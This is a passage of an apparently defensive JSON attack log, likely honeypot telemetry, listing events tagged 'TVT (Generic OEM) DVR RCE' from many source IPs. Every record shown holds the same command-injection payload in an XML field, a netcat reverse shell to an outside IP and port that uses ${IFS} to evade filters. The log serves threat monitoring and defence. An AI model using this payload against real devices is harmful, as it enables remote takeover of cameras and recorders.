  1850.       "source_ip_address": "5.66.202.101",
  1851.       "country": "GB",
  1852.       "user_agent": "Help",
  1853.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1854.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1855.       "target_port": 81,
  1856.       "protocol": "tcp",
  1857.       "tags": [
  1858.         {
  1859.           "cve": "",
  1860.           "category": "IoT",
  1861.           "description": "TVT (Generic OEM) DVR RCE"
  1862.         }
  1863.       ],
  1864.       "event_count": 2,
  1865.       "first_seen": "2019-12-23T03:48:55Z",
  1866.       "last_seen": "2019-12-23T03:48:55Z"
  1867.     },
  1868.     {
  1869.       "source_ip_address": "50.233.0.68",
  1870.       "country": "US",
  1871.       "user_agent": "Help",
  1872.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1873.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1874.       "target_port": 80,
  1875.       "protocol": "tcp",
  1876.       "tags": [
  1877.         {
  1878.           "cve": "",
  1879.           "category": "IoT",
  1880.           "description": "TVT (Generic OEM) DVR RCE"
  1881.         }
  1882.       ],
  1883.       "event_count": 17,
  1884.       "first_seen": "2019-12-18T22:58:28Z",
  1885.       "last_seen": "2019-12-23T03:17:13Z"
  1886.     },
  1887.     {
  1888.       "source_ip_address": "114.33.24.233",
  1889.       "country": "TW",
  1890.       "user_agent": "Help",
  1891.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1892.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1893.       "target_port": 81,
  1894.       "protocol": "tcp",
  1895.       "tags": [
  1896.         {
  1897.           "cve": "",
  1898.           "category": "IoT",
  1899.           "description": "TVT (Generic OEM) DVR RCE"
  1900.         }
  1901.       ],
  1902.       "event_count": 19,
  1903.       "first_seen": "2019-12-23T03:15:53Z",
  1904.       "last_seen": "2019-12-23T03:15:53Z"
  1905.     },
  1906.     {
  1907.       "source_ip_address": "182.19.218.218",
  1908.       "country": "SG",
  1909.       "user_agent": "Help",
  1910.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1911.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1912.       "target_port": 81,
  1913.       "protocol": "tcp",
  1914.       "tags": [
  1915.         {
  1916.           "cve": "",
  1917.           "category": "IoT",
  1918.           "description": "TVT (Generic OEM) DVR RCE"
  1919.         }
  1920.       ],
  1921.       "event_count": 21,
  1922.       "first_seen": "2019-12-23T02:58:43Z",
  1923.       "last_seen": "2019-12-23T02:58:43Z"
  1924.     },
  1925.     {
  1926.       "source_ip_address": "89.35.193.128",
  1927.       "country": "RO",
  1928.       "user_agent": "Help",
  1929.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1930.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1931.       "target_port": 8000,
  1932.       "protocol": "tcp",
  1933.       "tags": [
  1934.         {
  1935.           "cve": "",
  1936.           "category": "IoT",
  1937.           "description": "TVT (Generic OEM) DVR RCE"
  1938.         }
  1939.       ],
  1940.       "event_count": 1,
  1941.       "first_seen": "2019-12-23T02:46:54Z",
  1942.       "last_seen": "2019-12-23T02:46:54Z"
  1943.     },
  1944.     {
  1945.       "source_ip_address": "93.42.255.250",
  1946.       "country": "IT",
  1947.       "user_agent": "Help",
  1948.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1949.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1950.       "target_port": 88,
  1951.       "protocol": "tcp",
  1952.       "tags": [
  1953.         {
  1954.           "cve": "",
  1955.           "category": "IoT",
  1956.           "description": "TVT (Generic OEM) DVR RCE"
  1957.         }
  1958.       ],
  1959.       "event_count": 3,
  1960.       "first_seen": "2019-12-23T02:30:09Z",
  1961.       "last_seen": "2019-12-23T02:30:09Z"
  1962.     },
  1963.     {
  1964.       "source_ip_address": "60.250.29.57",
  1965.       "country": "TW",
  1966.       "user_agent": "Help",
  1967.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1968.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1969.       "target_port": 8000,
  1970.       "protocol": "tcp",
  1971.       "tags": [
  1972.         {
  1973.           "cve": "",
  1974.           "category": "IoT",
  1975.           "description": "TVT (Generic OEM) DVR RCE"
  1976.         }
  1977.       ],
  1978.       "event_count": 4,
  1979.       "first_seen": "2019-12-23T02:01:37Z",
  1980.       "last_seen": "2019-12-23T02:01:37Z"
  1981.     },
  1982.     {
  1983.       "source_ip_address": "118.70.105.84",
  1984.       "country": "VN",
  1985.       "user_agent": "Help",
  1986.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1987.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1988.       "target_port": 88,
  1989.       "protocol": "tcp",
  1990.       "tags": [
  1991.         {
  1992.           "cve": "",
  1993.           "category": "IoT",
  1994.           "description": "TVT (Generic OEM) DVR RCE"
  1995.         }
  1996.       ],
  1997.       "event_count": 1,
  1998.       "first_seen": "2019-12-23T01:42:30Z",
  1999.       "last_seen": "2019-12-23T01:42:30Z"
  2000.     },
  2001.     {
  2002.       "source_ip_address": "98.197.26.90",
  2003.       "country": "US",
  2004.       "user_agent": "Help",
  2005.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2006.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2007.       "target_port": 80,
  2008.       "protocol": "tcp",
  2009.       "tags": [
  2010.         {
  2011.           "cve": "",
  2012.           "category": "IoT",
  2013.           "description": "TVT (Generic OEM) DVR RCE"
  2014.         }
  2015.       ],
  2016.       "event_count": 2,
  2017.       "first_seen": "2019-12-23T01:34:36Z",
  2018.       "last_seen": "2019-12-23T01:34:36Z"
  2019.     },
  2020.     {
  2021.       "source_ip_address": "59.126.111.191",
  2022.       "country": "TW",
  2023.       "user_agent": "Help",
  2024.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2025.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2026.       "target_port": 88,
  2027.       "protocol": "tcp",
  2028.       "tags": [
  2029.         {
  2030.           "cve": "",
  2031.           "category": "IoT",
  2032.           "description": "TVT (Generic OEM) DVR RCE"
  2033.         }
  2034.       ],
  2035.       "event_count": 2,
  2036.       "first_seen": "2019-12-23T00:59:48Z",
  2037.       "last_seen": "2019-12-23T00:59:48Z"
  2038.     },
  2039.     {
  2040.       "source_ip_address": "185.27.62.141",
  2041.       "country": "HU",
  2042.       "user_agent": "Help",
  2043.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2044.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2045.       "target_port": 81,
  2046.       "protocol": "tcp",
  2047.       "tags": [
  2048.         {
  2049.           "cve": "",
  2050.           "category": "IoT",
  2051.           "description": "TVT (Generic OEM) DVR RCE"
  2052.         }
  2053.       ],
  2054.       "event_count": 3,
  2055.       "first_seen": "2019-12-20T20:30:39Z",
  2056.       "last_seen": "2019-12-23T00:32:11Z"
  2057.     },
  2058.     {
  2059.       "source_ip_address": "109.100.190.15",
  2060.       "country": "RO",
  2061.       "user_agent": "Help",
  2062.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2063.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2064.       "target_port": 8080,
  2065.       "protocol": "tcp",
  2066.       "tags": [
  2067.         {
  2068.           "cve": "",
  2069.           "category": "IoT",
  2070.           "description": "TVT (Generic OEM) DVR RCE"
  2071.         }
  2072.       ],
  2073.       "event_count": 1,
  2074.       "first_seen": "2019-12-22T23:31:23Z",
  2075.       "last_seen": "2019-12-22T23:31:23Z"
  2076.     },
  2077.     {
  2078.       "source_ip_address": "202.186.145.45",
  2079.       "country": "MY",
  2080.       "user_agent": "Help",
  2081.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2082.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2083.       "target_port": 88,
  2084.       "protocol": "tcp",
  2085.       "tags": [
  2086.         {
  2087.           "cve": "",
  2088.           "category": "IoT",
  2089.           "description": "TVT (Generic OEM) DVR RCE"
  2090.         }
  2091.       ],
  2092.       "event_count": 1,
  2093.       "first_seen": "2019-12-22T23:29:33Z",
  2094.       "last_seen": "2019-12-22T23:29:33Z"
  2095.     },
  2096.     {
  2097.       "source_ip_address": "182.235.239.22",
  2098.       "country": "TW",
  2099.       "user_agent": "Help",
  2100.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2101.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2102.       "target_port": 80,
  2103.       "protocol": "tcp",
  2104.       "tags": [
  2105.         {
  2106.           "cve": "",
  2107.           "category": "IoT",
  2108.           "description": "TVT (Generic OEM) DVR RCE"
  2109.         }
  2110.       ],
  2111.       "event_count": 1,
  2112.       "first_seen": "2019-12-22T23:24:46Z",
  2113.       "last_seen": "2019-12-22T23:24:46Z"
  2114.     },
  2115.     {
  2116.       "source_ip_address": "82.79.150.228",
  2117.       "country": "RO",
  2118.       "user_agent": "Help",
  2119.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2120.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2121.       "target_port": 88,
  2122.       "protocol": "tcp",
  2123.       "tags": [
  2124.         {
  2125.           "cve": "",
  2126.           "category": "IoT",
  2127.           "description": "TVT (Generic OEM) DVR RCE"
  2128.         }
  2129.       ],
  2130.       "event_count": 1,
  2131.       "first_seen": "2019-12-22T23:12:31Z",
  2132.       "last_seen": "2019-12-22T23:12:31Z"
  2133.     },
  2134.     {
  2135.       "source_ip_address": "189.226.125.58",
  2136.       "country": "MX",
  2137.       "user_agent": "Help",
  2138.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2139.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2140.       "target_port": 8000,
  2141.       "protocol": "tcp",
  2142.       "tags": [
  2143.         {
  2144.           "cve": "",
  2145.           "category": "IoT",
  2146.           "description": "TVT (Generic OEM) DVR RCE"
  2147.         }
  2148.       ],
  2149.       "event_count": 2,
  2150.       "first_seen": "2019-12-22T23:10:50Z",
  2151.       "last_seen": "2019-12-22T23:10:50Z"
  2152.     },
  2153.     {
  2154.       "source_ip_address": "99.239.82.168",
  2155.       "country": "CA",
  2156.       "user_agent": "Help",
  2157.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2158.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2159.       "target_port": 88,
  2160.       "protocol": "tcp",
  2161.       "tags": [
  2162.         {
  2163.           "cve": "",
  2164.           "category": "IoT",
  2165.           "description": "TVT (Generic OEM) DVR RCE"
  2166.         }
  2167.       ],
  2168.       "event_count": 3,
  2169.       "first_seen": "2019-12-22T23:00:01Z",
  2170.       "last_seen": "2019-12-22T23:00:01Z"
  2171.     },
  2172.     {
  2173.       "source_ip_address": "98.14.209.24",
  2174.       "country": "US",
  2175.       "user_agent": "Help",
  2176.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2177.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2178.       "target_port": 8000,
  2179.       "protocol": "tcp",
  2180.       "tags": [
  2181.         {
  2182.           "cve": "",
  2183.           "category": "IoT",
  2184.           "description": "TVT (Generic OEM) DVR RCE"
  2185.         }
  2186.       ],
  2187.       "event_count": 1,
  2188.       "first_seen": "2019-12-22T22:52:42Z",
  2189.       "last_seen": "2019-12-22T22:52:42Z"
  2190.     },
  2191.     {
  2192.       "source_ip_address": "189.211.0.101",
  2193.       "country": "MX",
  2194.       "user_agent": "Help",
  2195.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2196.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2197.       "target_port": 81,
  2198.       "protocol": "tcp",
  2199.       "tags": [
  2200.         {
  2201.           "cve": "",
  2202.           "category": "IoT",
  2203.           "description": "TVT (Generic OEM) DVR RCE"
  2204.         }
  2205.       ],
  2206.       "event_count": 2,
  2207.       "first_seen": "2019-12-22T22:47:44Z",
  2208.       "last_seen": "2019-12-22T22:47:44Z"
  2209.     },
  2210.     {
  2211.       "source_ip_address": "84.117.145.21",
  2212.       "country": "RO",
  2213.       "user_agent": "Help",
  2214.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2215.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2216.       "target_port": 80,
  2217.       "protocol": "tcp",
  2218.       "tags": [
  2219.         {
  2220.           "cve": "",
  2221.           "category": "IoT",
  2222.           "description": "TVT (Generic OEM) DVR RCE"
  2223.         }
  2224.       ],
  2225.       "event_count": 10,
  2226.       "first_seen": "2019-12-22T22:31:39Z",
  2227.       "last_seen": "2019-12-22T22:31:39Z"
  2228.     },
  2229.     {
  2230.       "source_ip_address": "115.132.165.187",
  2231.       "country": "MY",
  2232.       "user_agent": "Help",
  2233.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2234.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2235.       "target_port": 80,
  2236.       "protocol": "tcp",
  2237.       "tags": [
  2238.         {
  2239.           "cve": "",
  2240.           "category": "IoT",
  2241.           "description": "TVT (Generic OEM) DVR RCE"
  2242.         }
  2243.       ],
  2244.       "event_count": 3,
  2245.       "first_seen": "2019-12-22T22:31:05Z",
  2246.       "last_seen": "2019-12-22T22:31:05Z"
  2247.     },
  2248.     {
  2249.       "source_ip_address": "81.97.225.87",
  2250.       "country": "GB",
  2251.       "user_agent": "Help",
  2252.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2253.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2254.       "target_port": 8000,
  2255.       "protocol": "tcp",
  2256.       "tags": [
  2257.         {
  2258.           "cve": "",
  2259.           "category": "IoT",
  2260.           "description": "TVT (Generic OEM) DVR RCE"
  2261.         }
  2262.       ],
  2263.       "event_count": 1,
  2264.       "first_seen": "2019-12-22T22:13:40Z",
  2265.       "last_seen": "2019-12-22T22:13:40Z"
  2266.     },
  2267.     {
  2268.       "source_ip_address": "114.33.239.180",
  2269.       "country": "TW",
  2270.       "user_agent": "Help",
  2271.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2272.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2273.       "target_port": 88,
  2274.       "protocol": "tcp",
  2275.       "tags": [
  2276.         {
  2277.           "cve": "",
  2278.           "category": "IoT",
  2279.           "description": "TVT (Generic OEM) DVR RCE"
  2280.         }
  2281.       ],
  2282.       "event_count": 2,
  2283.       "first_seen": "2019-12-22T22:12:56Z",
  2284.       "last_seen": "2019-12-22T22:12:56Z"
  2285.     },
  2286.     {
  2287.       "source_ip_address": "49.158.65.3",
  2288.       "country": "TW",
  2289.       "user_agent": "Help",
  2290.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  2291.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  2292.       "target_port": 8000,
  2293.       "protocol": "tcp",
  2294.       "tags": [
  2295.         {
  2296.           "cve": "",
  2297.           "category": "IoT",
  2298.           "description": "TVT (Generic OEM) DVR RCE"
  2299.         }
  2300.       ],
  2301.       "event_count": 2,
  2302.       "first_seen": "2019-12-22T21:46:07Z",
  2303.       "last_seen": "2019-12-22T21:46:07Z"
  2304.     },
  2305.     {
